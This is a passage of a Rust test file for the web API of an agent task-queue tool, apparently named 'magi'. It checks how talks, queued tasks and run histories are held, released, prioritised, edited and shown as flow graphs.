8702        assert_eq!(closed_again.status, 200);
8703        assert_eq!(closed_again.json()["status"], "closed");
8704
8705        let said = f
8706            .post(
8707                &format!("/api/talks/{id}/say"),
8708                Some(r#"{"text":"too late"}"#),
8709            )
8710            .await;
8711        assert_eq!(said.status, 409, "{}", said.body);
8712    }
8713
8714    #[tokio::test]
8715    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8716        let (_tmp, _repo, f) = talk_fixture().await;
8717        let id = f.post("/api/talks", None).await.json()["id"]
8718            .as_str()
8719            .expect("id")
8720            .to_owned();
8721        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8722        assert_eq!(closed.status, 200, "{}", closed.body);
8723
8724        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8725        assert_eq!(reopened.status, 200, "{}", reopened.body);
8726        assert_eq!(reopened.json()["status"], "open");
8727
8728        // Idempotent: reopening an already-open talk is not an error.
8729        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8730        assert_eq!(reopened_again.status, 200);
8731        assert_eq!(reopened_again.json()["status"], "open");
8732
8733        let said = f
8734            .post(
8735                &format!("/api/talks/{id}/say"),
8736                Some(r#"{"text":"still there?"}"#),
8737            )
8738            .await;
8739        assert_eq!(
8740            said.status, 202,
8741            "a reopened talk accepts turns again: {}",
8742            said.body
8743        );
8744    }
8745
8746    #[tokio::test]
8747    async fn talk_reopen_on_an_unknown_id_is_404() {
8748        let f = Fixture::start().await;
8749        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8750        assert_eq!(res.status, 404, "{}", res.body);
8751    }
8752
8753    #[tokio::test]
8754    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8755        let f = Fixture::start().await;
8756        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8757
8758        let deleted = f.delete(&format!("/api/talks/{id}")).await;
8759        assert_eq!(deleted.status, 204, "{}", deleted.body);
8760
8761        let after = f.get(&format!("/api/talks/{id}")).await;
8762        assert_eq!(after.status, 404, "{}", after.body);
8763
8764        let listed = f.get("/api/talks").await.json();
8765        assert!(
8766            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8767            "a deleted talk must not linger in the list: {listed}"
8768        );
8769    }
8770
8771    #[tokio::test]
8772    async fn talk_delete_on_an_unknown_id_is_404() {
8773        let f = Fixture::start().await;
8774        let res = f.delete("/api/talks/nonexistent-id").await;
8775        assert_eq!(res.status, 404, "{}", res.body);
8776    }
8777
8778    /// A task's page lists every run it ever had, in order, and says what kind
8779    /// of attempt each was - including a resume, which re-pushes the same run
8780    /// id, and a run whose record this build cannot read.
8781    #[tokio::test]
8782    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8783        let f = Fixture::start().await;
8784        let (a, b, gone) = (
8785            "20260902-140501-aaaa",
8786            "20260902-140502-bbbb",
8787            "20260902-140503-cccc",
8788        );
8789        write_run(&f.runs(), a, RunStatus::Stalled);
8790        let mut review = RunState::new(
8791            PathBuf::from("/repo/magi"),
8792            "main".to_owned(),
8793            "0123456789abcdef".to_owned(),
8794            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8795                .to_owned(),
8796            Config::default(),
8797        );
8798        review.id = b.to_owned();
8799        review.status = RunStatus::Merged;
8800        write_state(&f.runs(), &review);
8801
8802        let mut task = Task::new(
8803            "retry".to_owned(),
8804            "Do the thing".to_owned(),
8805            PathBuf::from("/repo/magi"),
8806            Source::Human,
8807        );
8808        task.start(a.to_owned());
8809        task.stall("quota");
8810        task.start(a.to_owned());
8811        task.start(b.to_owned());
8812        task.start(gone.to_owned());
8813        f.queue().put(&mut task).expect("file the task");
8814
8815        let res = f.get(&format!("/api/queue/{}", task.id)).await;
8816        assert_eq!(res.status, 200, "{}", res.body);
8817        let v = res.json();
8818        let h = v["history"].as_array().expect("history");
8819        assert_eq!(h.len(), 4, "{v}");
8820        assert_eq!(h[0]["kind"], "competition");
8821        assert_eq!(h[0]["status"], "stalled");
8822        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8823        assert_eq!(h[1]["kind"], "resume", "{v}");
8824        assert!(
8825            h[0]["outcome"]
8826                .as_str()
8827                .unwrap()
8828                .contains("unknown. Pass #2"),
8829            "an earlier pass of a resumed run must not claim the final outcome: {v}"
8830        );
8831        assert!(
8832            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8833            "{v}"
8834        );
8835        assert!(
8836            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8837            "an unrecorded cause must not be narrated as an operator park: {v}"
8838        );
8839        assert_eq!(h[2]["kind"], "review");
8840        assert!(
8841            h[2]["description"]
8842                .as_str()
8843                .unwrap()
8844                .contains("magi/aaaa/A")
8845        );
8846        assert_eq!(h[2]["status"], "merged");
8847        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8848        assert_eq!(v["runs_unreadable"], 1);
8849        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8850        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8851        assert_eq!(nodes[4]["note"], "unreadable");
8852        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8853        assert_eq!(v["instruction"], "Do the thing");
8854        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8855
8856        // The run's own page links back to the task.
8857        let run = f.get(&format!("/api/runs/{a}")).await.json();
8858        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8859
8860        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8861    }
8862
8863    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8864        let mut s = RunState::new(
8865            PathBuf::from("/repo/magi"),
8866            "main".to_owned(),
8867            "0123456789abcdef".to_owned(),
8868            "Do it".to_owned(),
8869            Config::default(),
8870        );
8871        s.status = status;
8872        edit(&mut s);
8873        s
8874    }
8875
8876    fn flow_task(runs: &[&str]) -> Task {
8877        let mut t = Task::new(
8878            "t".to_owned(),
8879            "Do it".to_owned(),
8880            PathBuf::from("/repo/magi"),
8881            Source::Human,
8882        );
8883        for r in runs {
8884            t.start((*r).to_owned());
8885        }
8886        t
8887    }
8888
8889    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8890        let h = task_history(task, |id| {
8891            states
8892                .iter()
8893                .find(|(i, _)| *i == id)
8894                .and_then(|(_, s)| s.clone())
8895        });
8896        task_flow(task, &h, 5)
8897    }
8898
8899    #[test]
8900    fn flow_opens_with_the_chat_that_queued_the_task() {
8901        let mut t = flow_task(&[]);
8902        t.source = Source::Agent {
8903            run: "a b/c".to_owned(),
8904            node: crate::queue::CHAT_NODE.to_owned(),
8905        };
8906        let f = flow_for(&t, &[]);
8907        assert_eq!(f.nodes[0].key, "chat");
8908        assert_eq!(f.nodes[0].kind, "chat");
8909        assert_eq!(
8910            f.nodes[0].label,
8911            format!("Chat {}", crate::queue::short("a b/c"))
8912        );
8913        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8914        assert_eq!(f.nodes[1].key, "start");
8915        assert_eq!(
8916            f.edges[0],
8917            FlowEdge {
8918                from: "chat".to_owned(),
8919                to: "start".to_owned(),
8920                label: "queued from chat".to_owned(),
8921                attempt: AttemptCost::None,
8922            }
8923        );
8924    }
8925
8926    #[test]
8927    fn flow_has_no_chat_box_for_other_sources() {
8928        for source in [
8929            Source::Human,
8930            Source::Issue {
8931                number: 3,
8932                repo: "o/r".to_owned(),
8933            },
8934            Source::Agent {
8935                run: "20260904-014455-ab12".to_owned(),
8936                node: "implement".to_owned(),
8937            },
8938        ] {
8939            let mut t = flow_task(&[]);
8940            t.source = source;
8941            let f = flow_for(&t, &[]);
8942            assert_eq!(f.nodes[0].key, "start");
8943            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8944            assert!(f.edges.iter().all(|e| e.from != "chat"));
8945        }
8946    }
8947
8948    const FA: &str = "20260902-140501-aaaa";
8949    const FB: &str = "20260902-140502-bbbb";
8950
8951    #[test]
8952    fn flow_follows_blocked_retry_merged_to_done() {
8953        let mut t = flow_task(&[FA, FB]);
8954        t.status = TaskStatus::Done;
8955        let f = flow_for(
8956            &t,
8957            &[
8958                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8959                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8960            ],
8961        );
8962        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8963        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8964        assert_eq!(f.edges.len(), 3);
8965        assert_eq!(f.edges[0].label, "claimed");
8966        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8967        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8968        assert_eq!(f.edges[2].label, "merged \u{2192} done");
8969        assert_eq!(
8970            f.nodes[2].href.as_deref(),
8971            Some("#/runs/20260902-140502-bbbb")
8972        );
8973        assert!(f.nodes[2].decided);
8974    }
8975
8976    #[test]
8977    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8978        let quota = || {
8979            flow_run(RunStatus::Stalled, |s| {
8980                s.quota.push(crate::run::QuotaLoss {
8981                    seat: "judge-1".to_owned(),
8982                    node: "judge".to_owned(),
8983                    at: Timestamp::now(),
8984                    reset: None,
8985                })
8986            })
8987        };
8988        let mut t = flow_task(&[FA, FA]);
8989        t.status = TaskStatus::Queued;
8990        let f = flow_for(&t, &[(FA, Some(quota()))]);
8991        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8992        assert_eq!(f.nodes[1].note, Some("interrupted"));
8993        assert_eq!(
8994            f.nodes[1].status, None,
8995            "no outcome copied onto an earlier pass"
8996        );
8997        assert_eq!(
8998            f.edges[1].attempt,
8999            AttemptCost::Unknown,
9000            "a resume does not prove the earlier pass was refunded"
9001        );
9002        assert!(f.edges[1].label.contains("resume the same run"));
9003        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9004        assert_eq!(
9005            f.edges[2].label,
9006            "stalled after a resume, refund unknown \u{2192} queued"
9007        );
9008        assert!(!f.nodes[2].decided, "a stall is not a decision");
9009        assert_eq!(f.nodes[2].note, Some("no verdict"));
9010    }
9011
9012    #[test]
9013    fn flow_single_pass_quota_stall_is_refunded() {
9014        let t = flow_task(&[FA]);
9015        let f = flow_for(
9016            &t,
9017            &[(
9018                FA,
9019                Some(flow_run(RunStatus::Stalled, |s| {
9020                    s.quota.push(crate::run::QuotaLoss {
9021                        seat: "judge-1".to_owned(),
9022                        node: "judge".to_owned(),
9023                        at: Timestamp::now(),
9024                        reset: None,
9025                    })
9026                })),
9027            )],
9028        );
9029        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9030    }
9031
9032    #[test]
9033    fn flow_parked_refunds_and_stall_without_quota_spends() {
9034        let mut t = flow_task(&[FA]);
9035        t.status = TaskStatus::Queued;
9036        let f = flow_for(
9037            &t,
9038            &[(
9039                FA,
9040                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9041            )],
9042        );
9043        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9044        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9045        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9046        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9047        assert!(!f.nodes[1].decided);
9048    }
9049
9050    #[test]
9051    fn flow_keeps_an_unreadable_run_as_its_own_node() {
9052        let t = flow_task(&[FA, FB]);
9053        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9054        assert_eq!(f.nodes[1].note, Some("unreadable"));
9055        assert!(!f.nodes[1].readable);
9056        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9057        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9058    }
9059
9060    #[test]
9061    fn flow_names_the_branch_of_a_review_only_run() {
9062        let t = flow_task(&[FA]);
9063        let f = flow_for(
9064            &t,
9065            &[(
9066                FA,
9067                Some(flow_run(RunStatus::Merged, |s| {
9068                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9069                })),
9070            )],
9071        );
9072        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9073        assert_eq!(
9074            f.nodes[1].detail.as_deref(),
9075            Some("review-only run of branch magi/x/A")
9076        );
9077    }
9078
9079    #[test]
9080    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9081        let mut t = flow_task(&[FA]);
9082        t.status = TaskStatus::Held;
9083        let pr = crate::run::PrRecord {
9084            url: "https://example.test/pr/1".to_owned(),
9085            number: 1,
9086            state: "open".to_owned(),
9087            checks: "green".to_owned(),
9088            round: 0,
9089            rounds: 3,
9090            red_at_merge: Vec::new(),
9091        };
9092        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9093        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9094        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9095        t.status = TaskStatus::Done;
9096        let f = flow_for(&t, &[(FA, Some(blocked))]);
9097        assert_eq!(f.edges[1].label, "closed by hand: task is done");
9098    }
9099
9100    #[test]
9101    fn flow_with_no_runs_goes_from_queued_to_queued() {
9102        let t = flow_task(&[]);
9103        let f = flow_for(&t, &[]);
9104        assert_eq!(f.nodes.len(), 2);
9105        assert_eq!(f.edges.len(), 1);
9106        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9107        assert_eq!(f.edges[0].attempt, AttemptCost::None);
9108    }
9109
9110    /// A run parked mid-flight keeps a non-terminal status; the page must
9111    /// still say why it stopped and that the attempt came back.
9112    #[test]
9113    fn a_parked_non_terminal_run_is_explained_as_parked() {
9114        let mut s = RunState::new(
9115            PathBuf::from("/repo/magi"),
9116            "main".to_owned(),
9117            "0123456789abcdef".to_owned(),
9118            "Do it".to_owned(),
9119            Config::default(),
9120        );
9121        s.status = RunStatus::Implementing;
9122        s.parked = true;
9123        let task = Task::new(
9124            "t".to_owned(),
9125            "Do it".to_owned(),
9126            PathBuf::from("/repo/magi"),
9127            Source::Human,
9128        );
9129        let v = task_run_view(
9130            "20260902-140501-aaaa",
9131            Some(&s),
9132            RunSlot {
9133                n: 1,
9134                resumed: false,
9135                resumed_later: None,
9136                prior: None,
9137                last: true,
9138            },
9139            &task,
9140        );
9141        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9142    }
9143
9144    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9145        let mut s = flow_run(RunStatus::Implementing, edit);
9146        s.parked = false;
9147        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9148        task_run_view(
9149            "20260902-140501-aaaa",
9150            Some(&s),
9151            RunSlot {
9152                n: 1,
9153                resumed: false,
9154                resumed_later: Some(2),
9155                prior: None,
9156                last: false,
9157            },
9158            &task,
9159        )
9160    }
9161
9162    #[test]
9163    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9164        let v = earlier_pass_view(|_| {});
9165        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9166        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9167        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9168        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9169        assert_eq!(v.exit, RunExit::Interrupted);
9170        assert_eq!(v.attempt, AttemptCost::Unknown);
9171    }
9172
9173    #[test]
9174    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9175        let v = earlier_pass_view(|s| {
9176            s.quota.push(crate::run::QuotaLoss {
9177                seat: "judge-1".to_owned(),
9178                node: "judge".to_owned(),
9179                at: Timestamp::now(),
9180                reset: None,
9181            });
9182        });
9183        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9184        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9185        assert_eq!(v.attempt, AttemptCost::Unknown);
9186    }
9187
9188    #[test]
9189    fn the_current_pass_states_its_recorded_cause_and_cost() {
9190        let slot = || RunSlot {
9191            n: 1,
9192            resumed: false,
9193            resumed_later: None,
9194            prior: None,
9195            last: true,
9196        };
9197        let task = flow_task(&["20260902-140501-aaaa"]);
9198        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9199        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9200        assert_eq!(
9201            (v.exit, v.attempt),
9202            (RunExit::Parked, AttemptCost::Refunded)
9203        );
9204        let spent = flow_run(RunStatus::Blocked, |_| {});
9205        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9206        assert_eq!(v.attempt, AttemptCost::Spent);
9207        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9208    }
9209
9210    #[tokio::test]
9211    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9212        let f = Fixture::start().await;
9213        let queue = f.queue();
9214        let mut task = Task::new(
9215            "spent".to_owned(),
9216            "Try again".to_owned(),
9217            PathBuf::from("/repo/magi"),
9218            Source::Human,
9219        );
9220        task.start("20260902-140502-bbbb".to_owned());
9221        task.fail("agent gave up", 9);
9222        queue.put(&mut task).expect("file the task");
9223
9224        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9225        assert_eq!(held.status, 200);
9226        assert_eq!(held.json()["status_str"], "held");
9227
9228        let released = f
9229            .post(&format!("/api/queue/{}/release", task.id), None)
9230            .await;
9231        assert_eq!(released.status, 200);
9232        assert_eq!(released.json()["status_str"], "queued");
9233        assert_eq!(
9234            released.json()["attempts"],
9235            0,
9236            "release is a real second chance, not an instant re-hold"
9237        );
9238        assert_eq!(
9239            queue.get(&task.id).expect("reload").status,
9240            TaskStatus::Queued,
9241            "the change is on disk, not only in the reply"
9242        );
9243        assert!(
9244            !f.home
9245                .path()
9246                .join("queue")
9247                .join(format!("{}.lock", task.id))
9248                .exists(),
9249            "the claim the mutation took is released again"
9250        );
9251    }
9252
9253    #[tokio::test]
9254    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9255        let f = Fixture::start().await;
9256        let queue = f.queue();
9257        let mut task = Task::new(
9258            "busy".to_owned(),
9259            "Running right now".to_owned(),
9260            PathBuf::from("/repo/magi"),
9261            Source::Human,
9262        );
9263        queue.put(&mut task).expect("file the task");
9264        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9265
9266        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9267
9268        assert_eq!(res.status, 409);
9269        assert_eq!(
9270            queue.get(&task.id).expect("reload").status,
9271            TaskStatus::Queued,
9272            "the refused hold changed nothing"
9273        );
9274    }
9275
9276    #[tokio::test]
9277    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9278        let f = Fixture::start().await;
9279        let queue = f.queue();
9280        let mut task = Task::new(
9281            "waiting on the migration".to_owned(),
9282            "Do the thing".to_owned(),
9283            PathBuf::from("/repo/magi"),
9284            Source::Human,
9285        );
9286        queue.put(&mut task).expect("file the task");
9287
9288        let held = f
9289            .post(
9290                &format!("/api/queue/{}/hold", task.id),
9291                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9292            )
9293            .await;
9294        assert_eq!(held.status, 200, "{}", held.body);
9295        assert_eq!(held.json()["status_str"], "held");
9296        assert_eq!(
9297            held.json()["hold_reason"],
9298            "waiting for 20260101-000000-aaaa to land"
9299        );
9300
9301        let listed = f.get("/api/queue").await.json();
9302        assert_eq!(
9303            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9304            "the card reads the reason off the same list route"
9305        );
9306
9307        // A hold with no body at all must keep working - most holds have no
9308        // reason to give.
9309        let mut plain = Task::new(
9310            "no reason given".to_owned(),
9311            "Do another thing".to_owned(),
9312            PathBuf::from("/repo/magi"),
9313            Source::Human,
9314        );
9315        queue.put(&mut plain).expect("file the task");
9316        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9317        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9318        assert!(held_plain.json()["hold_reason"].is_null());
9319
9320        let released = f
9321            .post(&format!("/api/queue/{}/release", task.id), None)
9322            .await;
9323        assert_eq!(released.status, 200);
9324        assert!(
9325            released.json()["hold_reason"].is_null(),
9326            "a release must clear the reason so the next hold does not inherit it"
9327        );
9328    }
9329
9330    #[tokio::test]
9331    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9332        let f = Fixture::start().await;
9333        let queue = f.queue();
9334        let mut older = Task::new(
9335            "filed first".to_owned(),
9336            "x".to_owned(),
9337            PathBuf::from("/repo/magi"),
9338            Source::Human,
9339        );
9340        older.id = "20260101-000001-aaaa".to_owned();
9341        let mut newer = Task::new(
9342            "filed second".to_owned(),
9343            "x".to_owned(),
9344            PathBuf::from("/repo/magi"),
9345            Source::Human,
9346        );
9347        newer.id = "20260101-000002-bbbb".to_owned();
9348        queue.put(&mut older).expect("file older");
9349        queue.put(&mut newer).expect("file newer");
9350
9351        // Equal priority: the newer task leads, the same order the old
9352        // newest-first `list()` already gave every equal-priority queue.
9353        let before = f.get("/api/queue").await.json();
9354        assert_eq!(before[0]["id"], newer.id);
9355        assert_eq!(before[1]["id"], older.id);
9356
9357        // Raising the *older* task is the meaningful case: it can only lead
9358        // now because its priority says so, not because it happens to be
9359        // newest.
9360        let raised = f
9361            .post(
9362                &format!("/api/queue/{}/priority", older.id),
9363                Some(r#"{"priority":10}"#),
9364            )
9365            .await;
9366        assert_eq!(raised.status, 200, "{}", raised.body);
9367        assert_eq!(raised.json()["priority"], 10);
9368
9369        let after = f.get("/api/queue").await.json();
9370        let names: Vec<&str> = after
9371            .as_array()
9372            .unwrap()
9373            .iter()
9374            .map(|t| t["id"].as_str().unwrap())
9375            .collect();
9376        // Highest priority first, which is the order next_runnable and
9377        // `magi task list` both use - GET /api/queue must agree with it
9378        // immediately, not just once the loop claims the task.
9379        assert_eq!(names[0], older.id, "the raised task now sorts first");
9380    }
9381
9382    #[tokio::test]
9383    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9384        let f = Fixture::start().await;
9385        let queue = f.queue();
9386        let mut task = Task::new(
9387            "in flight".to_owned(),
9388            "x".to_owned(),
9389            PathBuf::from("/repo/magi"),
9390            Source::Human,
9391        );
9392        task.start("20260902-140502-bbbb".to_owned());
9393        queue.put(&mut task).expect("file the task");
9394
9395        let res = f
9396            .post(
9397                &format!("/api/queue/{}/priority", task.id),
9398                Some(r#"{"priority":9}"#),
9399            )
9400            .await;
9401        assert_eq!(res.status, 400, "{}", res.body);
9402        assert!(
9403            res.json()["error"]
9404                .as_str()
9405                .is_some_and(|e| e.contains("running")),
9406            "{}",
9407            res.body
9408        );
9409        assert_eq!(
9410            queue.get(&task.id).expect("reload").priority,
9411            0,
9412            "the refused write must not partially apply"
9413        );
9414    }
9415
9416    #[tokio::test]
9417    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9418        let f = Fixture::start().await;
9419        let queue = f.queue();
9420        let mut task = Task::new(
9421            "old title".to_owned(),
9422            "old instruction".to_owned(),
9423            PathBuf::from("/repo/magi"),
9424            Source::Agent {
9425                run: "20260101-000000-beef".to_owned(),
9426                node: "implement".to_owned(),
9427            },
9428        );
9429        task.runs.push("20260101-000000-beef".to_owned());
9430        queue.put(&mut task).expect("file the task");
9431        let created_at = task.created_at;
9432
9433        let edited = f
9434            .post(
9435                &format!("/api/queue/{}/edit", task.id),
9436                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9437            )
9438            .await;
9439        assert_eq!(edited.status, 200, "{}", edited.body);
9440        let body = edited.json();
9441        assert_eq!(body["title"], "new title");
9442        assert_eq!(body["instruction"], "new instruction");
9443        assert_eq!(body["id"], task.id, "editing must not mint a new id");
9444        assert_eq!(body["created_at"], created_at.to_string());
9445        assert_eq!(
9446            body["source"]["kind"], "agent",
9447            "editing a task an agent filed must not turn it human: {body}"
9448        );
9449        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9450
9451        let reloaded = queue.get(&task.id).expect("reload");
9452        assert_eq!(reloaded.title, "new title");
9453        assert_eq!(reloaded.instruction, "new instruction");
9454    }
9455
9456    #[tokio::test]
9457    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9458        let f = Fixture::start().await;
9459        let queue = f.queue();
9460        let mut owner = Task::new(
9461            "owner".to_owned(),
9462            "review it".to_owned(),
9463            PathBuf::from("/repo/magi"),
9464            Source::Human,
9465        );
9466        owner.review_branch = Some("magi/ab12/A".to_owned());
9467        queue.put(&mut owner).expect("file the owner");
9468        let mut task = Task::new(
9469            "draft".to_owned(),
9470            "old".to_owned(),
9471            PathBuf::from("/repo/magi"),
9472            Source::Human,
9473        );
9474        queue.put(&mut task).expect("file the draft");
9475        let url = format!("/api/queue/{}/edit", task.id);
9476
9477        let refused = f
9478            .post(
9479                &url,
9480                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9481            )
9482            .await;
9483        assert_eq!(refused.status, 409, "{}", refused.body);
9484        let msg = refused.json()["error"]
9485            .as_str()
9486            .unwrap_or_default()
9487            .to_owned();
9488        assert!(
9489            msg.contains("magi/ab12/A") && msg.contains("force"),
9490            "{msg}"
9491        );
9492        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9493
9494        let forced = f
9495            .post(
9496                &url,
9497                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9498            )
9499            .await;
9500        assert_eq!(forced.status, 200, "{}", forced.body);
9501    }
9502
9503    #[tokio::test]
9504    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9505        let f = Fixture::start().await;
9506        let queue = f.queue();
9507        let mut task = Task::new(
9508            "in flight".to_owned(),
9509            "do not touch".to_owned(),
9510            PathBuf::from("/repo/magi"),
9511            Source::Human,
9512        );
9513        task.start("20260902-140502-bbbb".to_owned());
9514        queue.put(&mut task).expect("file the task");
9515
9516        let res = f
9517            .post(
9518                &format!("/api/queue/{}/edit", task.id),
9519                Some(r#"{"title":"x","instruction":"y"}"#),
9520            )
9521            .await;
9522        assert_eq!(res.status, 400, "{}", res.body);
9523        assert!(
9524            res.json()["error"]
9525                .as_str()
9526                .is_some_and(|e| e.contains("running")),
9527            "{}",
9528            res.body
9529        );
9530        assert_eq!(
9531            queue.get(&task.id).expect("reload").instruction,
9532            "do not touch",
9533            "the refused edit must not change the file"
9534        );
9535    }
9536
9537    #[tokio::test]
9538    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9539        let f = Fixture::start().await;
9540        let queue = f.queue();
9541        let mut task = Task::new(
9542            "busy".to_owned(),
9543            "Running right now".to_owned(),
9544            PathBuf::from("/repo/magi"),
9545            Source::Human,
9546        );
9547        queue.put(&mut task).expect("file the task");
9548        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9549
9550        let priority = f
9551            .post(
9552                &format!("/api/queue/{}/priority", task.id),
9553                Some(r#"{"priority":9}"#),
9554            )
9555            .await;
9556        assert_eq!(priority.status, 409, "{}", priority.body);
9557
9558        let edit = f
9559            .post(
9560                &format!("/api/queue/{}/edit", task.id),
9561                Some(r#"{"title":"x","instruction":"y"}"#),
9562            )
9563            .await;
9564        assert_eq!(edit.status, 409, "{}", edit.body);
9565    }
9566
9567    #[tokio::test]
9568    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9569        let f = Fixture::start().await;
9570        let queue = f.queue();
9571        let mut task = Task::new(
9572            "shipped by hand".to_owned(),
9573            "merged outside the loop".to_owned(),
9574            PathBuf::from("/repo/magi"),
9575            Source::Agent {
9576                run: "20260101-000000-b455".to_owned(),
9577                node: "implement".to_owned(),
9578            },
9579        );
9580        task.runs.push("20260101-000000-b455".to_owned());
9581        task.runs.push("20260101-000000-9af4".to_owned());
9582        queue.put(&mut task).expect("file the task");
9583        let created_at = task.created_at;
9584
9585        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9586        assert_eq!(done.status, 200, "{}", done.body);
9587        assert_eq!(done.json()["status_str"], "done");
9588
9589        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9590        assert_eq!(
9591            reloaded.runs,
9592            ["20260101-000000-b455", "20260101-000000-9af4"]
9593        );
9594        assert_eq!(
9595            reloaded.source,
9596            Source::Agent {
9597                run: "20260101-000000-b455".to_owned(),
9598                node: "implement".to_owned(),
9599            }
9600        );
9601        assert_eq!(reloaded.created_at, created_at);
9602    }
9603
9604    #[tokio::test]
9605    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9606        // `done` is allowed on any status, including `held`, with no release
9607        // in between - so a task held for a reason and then closed directly
9608        // must not keep reading as "waiting on" it afterwards, on its card or
9609        // in `magi task show`.
9610        let f = Fixture::start().await;
9611        let queue = f.queue();
9612        let mut task = Task::new(
9613            "landed while held".to_owned(),
9614            "x".to_owned(),
9615            PathBuf::from("/repo/magi"),
9616            Source::Human,
9617        );
9618        task.hold_manual(Some("waiting on 3ed9".to_owned()));
9619        queue.put(&mut task).expect("file the held task");
9620
9621        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9622        assert_eq!(done.status, 200, "{}", done.body);
9623        assert_eq!(done.json()["status_str"], "done");
9624        assert!(
9625            done.json()["hold_reason"].is_null(),
9626            "a done task cannot still be waiting on something: {}",
9627            done.body
9628        );
9629    }
9630
9631    #[tokio::test]
9632    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9633        // `queue_done` is the phone's way to close a task the loop never
9634        // settled itself - after confirming a manual GitHub merge, say - and
